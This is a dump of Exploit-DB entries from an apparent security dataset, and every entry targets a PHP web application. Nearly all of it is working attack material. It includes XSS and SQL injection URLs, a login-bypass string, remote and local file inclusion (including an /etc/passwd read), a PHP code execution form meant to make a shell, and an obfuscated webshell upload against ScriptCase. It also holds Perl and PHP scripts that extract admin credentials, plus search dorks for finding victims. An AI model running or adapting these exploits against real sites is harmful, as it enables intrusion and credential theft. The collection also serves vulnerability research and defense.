deardaniel/secdata-raw huggingface dataset:
Exploit-DB #26782
Description: Scout Portal Toolkit 1.3.1 - 'SPT-AdvancedSearch.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-12
Author: Preddy

Exploit:
source: https://www.securityfocus.com/bid/15818/info
  
Scout Portal Toolkit is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input.
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. Other attacks are also possible.


http://www.example.com/Projects/SPT/demo/SPT--Advanced.php
Input: <script>alert(document.cookie)</script> on all fields..
Exploit-DB #26781
Description: Scout Portal Toolkit 1.3.1 - 'SPT-BrowseResources.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-12
Author: Preddy

Exploit:
source: https://www.securityfocus.com/bid/15818/info
 
Scout Portal Toolkit is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. Other attacks are also possible.

http://www.example.com/Projects/SPT/demo/SPT--BrowseResources.php?ParentId=<script>alert(document.cookie)</script>
Exploit-DB #26780
Description: Scout Portal Toolkit 1.3.1 - 'SPT-QuickSearch.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-12
Author: Preddy

Exploit:
source: https://www.securityfocus.com/bid/15818/info

Scout Portal Toolkit is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. Other attacks are also possible.

http://www.example.com/Projects/SPT/demo/SPT--QuickSearch.php?ss=<script>alert(document.cookie)</script>
Exploit-DB #26783
Description: Scout Portal Toolkit 1.3.1 - 'SPT-UserLogin.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-12
Author: Preddy

Exploit:
source: https://www.securityfocus.com/bid/15818/info
   
Scout Portal Toolkit is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input.
   
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. Other attacks are also possible.

http://www.example.com/Projects/SPT/demo/SPT--UserLogin.php
Input username >> '
Input password >> '
Exploit-DB #5540
Description: Scout Portal Toolkit 1.4.0 - 'ParentId' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-04
Author: JosS

Exploit:
#!/usr/bin/perl

# Scout Portal Toolkit <= 1.4.0 (ParentId) Remote SQL Injection Exploit
# Discovered & Coded by JosS
# Contact: sys-project[at]hotmail.com
# Spanish Hackers Team / Sys - Project / EspSeC
# http://www.spanish-hackers.com
# rgod forever :D


print "\t\t########################################################\n\n";
print "\t\t#  Scout Portal Toolkit <= 1.4.0 SQL Injection Exploit #\n\n";
print "\t\t#                       by JosS                        #\n\n";
print "\t\t########################################################\n\n";

use strict;
use LWP::UserAgent;

my $victim = $ARGV[0];

 if(!$ARGV[0]) {
    print "\n[x] Scout Portal Toolkit <= 1.4.0 Remote SQL Injection Exploit\n";
    print "[x] written by JosS - sys-project[at]hotmail.com\n";
    print "[x] usage: perl xpl.pl [host]\n";
    print "[x] example: http://localhost/path/\n\n";
    exit(1);
 }
 
    print "\n[+] Exploiting...\n";
    my $cnx = LWP::UserAgent->new() or die;
    my $go=$cnx->get($victim."/SPT--BrowseResources.php?ParentId=337+and+1=2+union+all+select+0,1,2,3,4,concat(UserName,char(34),UserPassword),6,7,8+from+APUsers/*");
    if ($go->content =~ m/APUsers\/\*\' class=\'\'>(.*?)\<\/a>/ms)
 {
        print "[+] $1\n\n";
    } else {
        print "\n[-] exploit failed\n";
    }

# milw0rm.com [2008-05-04]
Exploit-DB #22445
Description: ScozBook 1.1 - Full Path Disclosure
Type: webapps
Platform: php
Date: 2003-03-29
Author: euronymous

Exploit:
source: https://www.securityfocus.com/bid/7236/info

A path disclosure vulnerability has been reported for ScozBook. The issue occurs when a request is made to the view.php script page.

Access to sensitive filesystem information may aid an attacker in launching further attacks against a target system. 

http://hostname/scozbook/view.php?PG=test
Exploit-DB #27018
Description: ScozNet ScozBook 1.1 - 'AdminName' SQL Injection
Type: webapps
Platform: php
Date: 2006-01-02
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16115/info

ScozNet ScozBook is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/auth.php

username: a' or 'a'='a'/*
[CREDENTIAL_REDACTED]
Exploit-DB #1800
Description: ScozNews 1.2.1 - 'mainpath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-17
Author: Kacper

Exploit:
################ DEVIL TEAM THE BEST POLISH TEAM #################
#ScozNews v1.2.1 - Remote File Include
#Find by Kacper (Rahim).
#Greetings For ALL DEVIL TEAM members, Special DragonHeart :***
#Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
#dork: "(Powered By ScozNews)"
##################################################################

http://www.site.com/[news_path]/sources/functions.php?CONFIG[main_path]=[evil_scripts]


http://www.site.com/[news_path]/sources/template.php?CONFIG[main_path]=[evil_scripts]


http://www.site.com/[news_path]/sources/news.php?CONFIG[main_path]=[evil_scripts]

http://www.site.com/[news_path]/sources/help.php?CONFIG[main_path]=[evil_scripts]

http://www.site.com/[news_path]/sources/mail.php?CONFIG[main_path]=[evil_scripts]

http://www.site.com/[news_path]/sources/Admin/admin_cats.php?CONFIG[main_path]=[evil_scripts]

http://www.site.com/[news_path]/sources/Admin/admin_edit.php?CONFIG[main_path]=[evil_scripts]

http://www.site.com/[news_path]/sources/Admin/admin_import.php?CONFIG[main_path]=[evil_scripts]

http://www.site.com/[news_path]/sources/Admin/admin_templates.php?CONFIG[main_path]=[evil_scripts]

###################################################################
#Elo ;-)

# milw0rm.com [2006-05-17]
Exploit-DB #12458
Description: Scratcher - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-04-29
Author: cr4wl3r

Exploit:
[+] Scratcher (SQL/XSS) Multiple Remote Vulnerability

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                    I'm cr4wl3r  member from Inj3ct0r Team            1
1                    ######################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Discovered By: cr4wl3r
Download: http://sourceforge.net/projects/scratcher/files/
Dork: "Powered by Scratcher"
Greetz: All member inj3ct0r.com, manadocoding.net, sekuritionline.net, gcc.web.id

Thanks to: str0ke, opt!x hacker, xoron, cyberlog, irvian, antihack, angky.tatoki, 
           EA ngel, zvtral, s4va, bL4Ck_3n91n3, untouch, team_elite, zreg, mywisdom, 
           SENOT, devilbat, kec0a, d3viln3t, p4p4y, cybertomat, etaxCrew, emen, and all my friend

[+] Exploit SQL:
http://server/[path]/projects.php?id=[SQL]
http://server/[path]/projects.php?id=1+union+select+0,1,concat_ws(user(),0x3a,database(),0x3a,version()),3,4,5,6--

[+] Exploit XSS:
http://server/[path]/projects.php?show=[XSS]
http://server/[path]/projects.php?show=<script>alert(1)</script>
Exploit-DB #32126
Description: ScrewTurn Software ScrewTurn Wiki 2.0.x - 'System Log' Page HTML Injection
Type: webapps
Platform: php
Date: 2008-05-11
Author: Portcullis

Exploit:
source: https://www.securityfocus.com/bid/30429/info


ScrewTurn Wiki is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

The issue affects ScrewTurn Wiki 2.0.29 and 2.0.30; other versions may also be affected. 

The following example URI is available:
http://www.example.com/?[script]alert('XSS')[/script]
Exploit-DB #5123
Description: Scribe 0.2 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-02-14
Author: muuratsalo

Exploit:
scribe 0.2 local file inclusion vulnerability

download   http://sourceforge.net/projects/scribe/
author     muuratsalo
contact    muuratsalo[at]gmail.com

exploit 
http://localhost/0.2/index.php?page=../../../../../../../../../../etc/passwd%00

# milw0rm.com [2008-02-14]
Exploit-DB #4596
Description: Scribe 0.2 - PHP Remote Code Execution
Type: webapps
Platform: php
Date: 2007-11-02
Author: KiNgOfThEwOrLd

Exploit:
---------------------------------------------------------------
 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  >__|            |___||__|  
          \/\______|      \/     \/                         
---------------------------------------------------------------

Http://www.inj3ct-it.org 	     Staff[at]inj3ct-it[dot]org 

---------------------------------------------------------------

	Scribe <= 0.2 Remote PHP Code Execution
   Download: http://sourceforge.net/projects/scribe/

---------------------------------------------------------------

#By KiNgOfThEwOrLd

---------------------------------------------------------------
PoC:

When we register a news user, scribe make a file called [username].php located 
in /regged/. The file contains:

Username: [username]
---------------------------------------------------------------
Exploit:

<form id="Register" action="http://[target]/[scribe_path]/forum.php?act=7" 
method="post">
<input maxlength="[PII_REDACTED]9" name="username" type="text" value="<script 
language=php>[YOUR_PHP_CODE]"><br>
<input maxlength="32" name="password" type="password" value="kingolo"><br>
<input maxlength="32" name="cpassword" type="password" value="kingolo"><br>
<input maxlength="50" name="email" type="text" value="kingolo"><br>
<input name="confirm" value="Make Shell!" type="submit">
</form>

Now, go on:

http://[target]/[scribe_path]/regged/<script language=php>[YOUR_PHP_CODE].php

And your code will be execute on target server!
---------------------------------------------------------------
Trick:

If you insert directory traversal variable in your username, u can save the 
file where u want  ;) 
---------------------------------------------------------------

# milw0rm.com [2007-11-02]
Exploit-DB #7873
Description: Script Toko Online 5.01 - SQL Injection
Type: webapps
Platform: php
Date: 2009-01-26
Author: k1n9k0ng

Exploit:
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Scripts         : Script Toko Online Vs.5.01
Scripts site    : http://www.gempar.com/
Discovered By   : k1n9k0ng
My Site         : http://www.sekuritionline.net
IRC Channel     : #sekuritionline
Special To      : adhietslank, cyberlog, cah_gemblunkz, jayoes, thesims, setiawan, fl3xu5, k1tk4t
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Demo Site :
http://www.gempar.com/demotoko/

Bug Found:
http://www.gempar.com/demotoko/shop_display_products.php?cat_id=-1 union select concat(email,0x3a,password),1,2,3,4,5,6,7 from naxtor_cart_store_customer/*

# milw0rm.com [2009-01-26]
Exploit-DB #38570
Description: ScriptCase - 'scelta_categoria.php' SQL Injection
Type: webapps
Platform: php
Date: 2013-06-10
Author: Hossein Hezami

Exploit:
source: https://www.securityfocus.com/bid/60461/info

ScriptCase is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/scelta_categoria.php?categoria=[SQLi]
Exploit-DB #50872
Description: Scriptcase 9.7 - Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2022-04-19
Author: luckyt0mat0

Exploit:
# Exploit Title: Scriptcasr 9.7 arbitrary file upload getshell
# Date: 2022-04-08
# Exploit Author: luckyt0mat0
# Vendor Homepage:  https://www.scriptcase.net/
# Software Link: https://www.scriptcase.net/download/
# Version: 9.7
# Tested on: Windows Server 2019

# Proof of Concept:

POST /scriptcase/devel/lib/third/jquery_plugin/jQuery-File-Upload/server/php/ HTTP/1.1
Host: 10.50.1.214:8091
Content-Length: 570
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6gbgDzCQ2aZWm6iZ
Origin: http://10.50.1.214:8091
Referer: http://10.50.1.214:8091/scriptcase/devel/iface/app_template.php?randjs=MYxlp4xwCiIQBjy
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: sales1.scriptcase-_zldp=%2Blf8JBkbzCTGvnrypkRAEoy1%2BVW%2BpJL8Vv42yN%2FS02hog7eXhi2oz9sY2rJ5JXybCaUbPUvRWVc%3D; sales1.scriptcase-_zldt=6206f2cd-57fd-4e1d-99a8-b9a27c7b3421-2; PHPSESSID=be1281e8cde9348d284c3074c9bea53e; sc_actual_lang_samples=en_us
Connection: close

------WebKitFormBoundary6gbgDzCQ2aZWm6iZ
Content-Disposition: form-data; name="jqul_csrf_token"

gZiFUw6nNw84D4euS8RJ3AQLz0o3Bo1Q24Kq1ufcJA8FjRCIeohe0gBZ34hXIW7M
------WebKitFormBoundary6gbgDzCQ2aZWm6iZ
Content-Disposition: form-data; name="files[]"; filename="123.php"
Content-Type: text/html

<?php
error_reporting(0);
$a = rad2deg^(3).(2);
$b = asin^(2).(6);
$c = ceil^(1).(1);
$exp = $a.$b.$c; //assert
$pi=(is_nan^(6).(4)).(tan^(1).(5)); //_GET
$pi=$$pi; //$_GET
call_user_func($exp,$pi{0}($pi{1}));
?>
------WebKitFormBoundary6gbgDzCQ2aZWm6iZ———

# Notes:
- PHPSESSID is  - be1281e8cde9348d284c3074c9bea53e
- Upload path is - http://x.x.x.:8091/scriptcase/tmp/sc_tmp_upload_{{PHPSESSID}}/123.php
Exploit-DB #6070
Description: Scripteen Free Image Hosting Script 1.2 - 'cookie' Pass Grabber
Type: webapps
Platform: php
Date: 2008-07-13
Author: RMx

Exploit:
<?php
/*
Coded By RMx - Liz0zim
BiyoSecurity.Com & Coderx.org
Ki zava Ki Zava :)
Thanx : Crackers_Child - TR_IP - Volqan - All SQL Low3rz
*/
error_reporting("E_ALL");
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
$desen='|value="(.*)"|siU';

function yolla($host,$paket)
{
global $veri;
$ac=fsockopen(gethostbyname($host),80);
if (!$ac) {
echo 'Unable to connect to server '.$host.':80'; exit;//BaÄŸlanamaz ise
}
fputs($ac,$paket);
$veri="";
    while (!feof($ac)) {
      $veri.=fread($ac,1);
 
  }
  fclose($ac);
}
?>
<h2>Scripteen Free Image Hosting Script V1.2.* (cookie) Admin Password Grabber Exploit</h2>
<p>Coded By RMx - Liz0ziM</p>
<p>Web:<a href="http://www.biyosecurity.com" target="_blank">www.biyosecurity.com</a> </p>
<p>Dork:"Powered by Scripteen Free Image Hosting Script V1.2"</p>
<form method="POST" action="">
<p>TARGET HOST:
  <input name="host" type="text" />
  Example:<strong>www.xxxx.com</strong></p>
<p>TARGET PATH:   <input name="klasor" type="text" />
Example:<strong>/</strong> or <strong>/scriptpath/</strong> </p>
<p><input name="yolla" type="submit" value="Send" /></p>
</form><br />
<? if($_POST[yolla]){
$host=$_POST[host];
$klasor=$_POST[klasor];
$admin=$_POST[admin];
$p=$klasor."admin/settings.php";
echo '<font color="red"><b>Sending Exploit..</b></font><br>';
$packet ="GET ".$p." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: cookid=1\r\n";
$packet.="Connection: Close\r\n\r\n";
yolla($host,$packet);
preg_match_all($desen,$veri,$cik);
$ad=$cik[1][0];
$sifre=$cik[1][1];
if($ad AND $sifre){
echo '
<font color="green">Exploit succeeded...</font ><br>
Admin Username:<b>'.$ad.'</b><br>
Admin Password:<b>'.$sifre.'</b><br>';
}
else
{
echo '<font color="red">Exploit Failed !</font>';
}
}

?>

# milw0rm.com [2008-07-13]
Exploit-DB #3507
Description: ScriptMagix FAQ Builder 2.0 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-03-18
Author: ajann

Exploit:
#!/usr/bin/perl
#[Script Name: ScriptMagix FAQ Builder <= 2.0 (index.php) Remote Blind SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.scriptmagix.com
#[$$         : 50$
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//   	ScriptMagix FAQ Builder <= 2.0 (index.php) Remote Blind SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/index.php?cmd=2&catid=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }


$target = "-1%20union%20select%200,1,2,3,4,5,concat(char(117,115,101,114,110,97,109,101,58),username,char(112,97,115,115,119,111,114,100,58),password),7,8,0,0,0,0,0,0%20from%20admin/*";
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?)pass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /password:(.*?)<br>/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-03-18]
Exploit-DB #3509
Description: ScriptMagix Jokes 2.0 - 'index.php?catid' SQL Injection
Type: webapps
Platform: php
Date: 2007-03-18
Author: ajann

Exploit:
#!/usr/bin/perl
#[Script Name: ScriptMagix Jokes <= 2.0 (index.php catid) Remote Blind SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.scriptmagix.com
#[$$         : 35$
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//   ScriptMagix Jokes <= 2.0 (index.php catid) Remote Blind SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/index.php?catid=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }


$target = "-1%20union%20select%200,1,2,0,0,0,0,7,6,concat(char(117,115,101,114,110,97,109,101,58),username,char(112,97,115,115,119,111,114,100,58),password),4,3%20from%20admin/*";
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?)pass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /password:(.*?)<\/a>/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-03-18]